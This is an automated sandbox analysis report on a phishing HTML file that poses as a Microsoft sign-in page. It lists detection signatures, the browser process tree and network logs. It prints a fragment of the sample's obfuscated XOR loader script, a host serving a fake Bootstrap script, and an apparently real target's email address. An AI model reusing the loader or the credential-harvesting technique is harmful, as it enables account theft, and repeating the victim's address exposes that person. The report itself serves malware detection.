Edit tour

Windows Analysis Report
VM(Carmen)52177372.mp4.html

Overview

General Information

Sample name:	VM(Carmen)52177372.mp4.html
Analysis ID:	1640748
MD5:	3c3d01f43f39bd3e5853a32e9cf83fe0
SHA1:	3379299c63d4c867935a6a613bfa5520c12db18a
SHA256:	4586a96fc1f2ae0f6c60b25c3660922ebe4f1a8d8cc2a0b7a3e1a51ef4cc6e6d
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6620 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\VM(Carmen)52177372.mp4.html MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,16614817790951963497,9078325586780748719,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 0.1.pages.csv, type: HTML

Detected javascript redirector / loader

Source: VM(Carmen)52177372.mp4.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: VM(Carmen)52177372.mp4.html

HTTP Parser: <script>const key = "secret";const xorEncryptDecrypt = (input, key) => { let output = ""; const charCodes = input.split(",").map(Number); for (let i = 0; i < charCodes.length; i++) { output += String.fromCharCode(charC...

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: VM(Carmen)52177372.mp4.html

HTTP Parser: Base64 decoded: carmen@steinborn.com

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/VM(Carmen)52177372.mp4.html

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 104.18.11.207:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.17:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.10.207:443 -> 192.168.2.17:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 119.28.146.206:443 -> 192.168.2.17:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.228:443 -> 192.168.2.17:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.229:443 -> 192.168.2.17:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.51:443 -> 192.168.2.17:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.45:443 -> 192.168.2.17:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.181:443 -> 192.168.2.17:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.123.12.139:443 -> 192.168.2.17:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.112:443 -> 192.168.2.17:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.112:443 -> 192.168.2.17:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.98:443 -> 192.168.2.17:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.101.182.98:443 -> 192.168.2.17:49810 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.17:57702 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:57704 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 151.101.129.229 151.101.129.229
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 1482474975-1317754460.cos.ap-seoul.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
